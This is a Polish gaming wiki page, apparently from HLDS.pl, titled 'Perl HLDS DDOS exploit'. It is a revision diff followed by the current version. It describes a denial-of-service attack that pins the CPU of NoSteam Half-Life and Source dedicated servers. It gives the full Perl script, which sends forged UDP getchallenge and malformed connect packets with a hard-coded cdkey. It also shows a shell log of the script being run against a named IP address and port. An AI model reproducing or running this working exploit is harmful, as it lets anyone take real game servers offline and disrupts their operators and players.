Perl HLDS DDOS exploit

(Różnice między wersjami)
Skocz do: nawigacji, wyszukiwania
Linia 1: Linia 1:
 
DDOS attack na serwer gry, powoduje, że serwer zżera 100% cpu próbując przetworzyć prośby o połączenia. W efekcie nie da się z serwerem połączyć. Ppowinno działac na wszelkie serwery [[HLDS]] i [[SRCDS]] [[NoSteam]] a po zmiaanie protokołu działa na serwery CS 1.5. Normalne serwery [[Steam]] tego nie mają.
 
DDOS attack na serwer gry, powoduje, że serwer zżera 100% cpu próbując przetworzyć prośby o połączenia. W efekcie nie da się z serwerem połączyć. Ppowinno działac na wszelkie serwery [[HLDS]] i [[SRCDS]] [[NoSteam]] a po zmiaanie protokołu działa na serwery CS 1.5. Normalne serwery [[Steam]] tego nie mają.
  
Przydałoby się sprawdzić.
+
Przydałoby się sprawdzić.
  
 
[[Linux HLDS DDOS exploit fix]] - poprawka, na razie nie przetłumaczona z tego dzikiego języka.
 
[[Linux HLDS DDOS exploit fix]] - poprawka, na razie nie przetłumaczona z tego dzikiego języka.

Wersja z 19:07, 25 cze 2006

DDOS attack na serwer gry, powoduje, że serwer zżera 100% cpu próbując przetworzyć prośby o połączenia. W efekcie nie da się z serwerem połączyć. Ppowinno działac na wszelkie serwery HLDS i SRCDS NoSteam a po zmiaanie protokołu działa na serwery CS 1.5. Normalne serwery Steam tego nie mają.

Przydałoby się sprawdzić.

Linux HLDS DDOS exploit fix - poprawka, na razie nie przetłumaczona z tego dzikiego języka.


<protect groups="sysop">

#!/usr/bin/perl
# modded version for port
 
# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
 
use IO::Socket;
die "usage: perl cs_exploit.pl <adress> <port>" unless $ARGV[0];
$host=$ARGV[0];
$port=$ARGV[1];
if (fork())
{ econnect($host); }
else
{ econnect($host); };
exit;
 
sub econnect($)
{
my $host=$_[0];
my $sock = new IO::Socket::INET(PeerAddr=>$host,PeerPort=>$port,Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";
 
sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$b);
 
$c2=$c[1];
$q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print "",'>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}

zwrot w uzyciu, chyba jednak nie dziala na source

hlds@bagno /mnt/hdc/upload $ perl cs_exploit.pl 156.17.41.139 27025
A00000000 265017998 2

>connect 47 265017998 "\prot\4\unique\0\raw\valve\cdkey\f0ef8a36258af1bb64ed866538c9db76""\"
A00000000 265017998 2

>connect 47 265017998 "\prot\4\unique\0\raw\valve\cdkey\f0ef8a36258af1bb64ed866538c9db76""\"
9LAN servers are restricted to local clients (class C).

9LAN servers are restricted to local clients (class C).

hlds@bagno /mnt/hdc/upload $

</protect>

Osobiste
Przestrzenie nazw
Warianty
Działania
HLDS.pl - Menu:
Inne
IRC
Inne sekcje:
Znajomi:
Narzędzia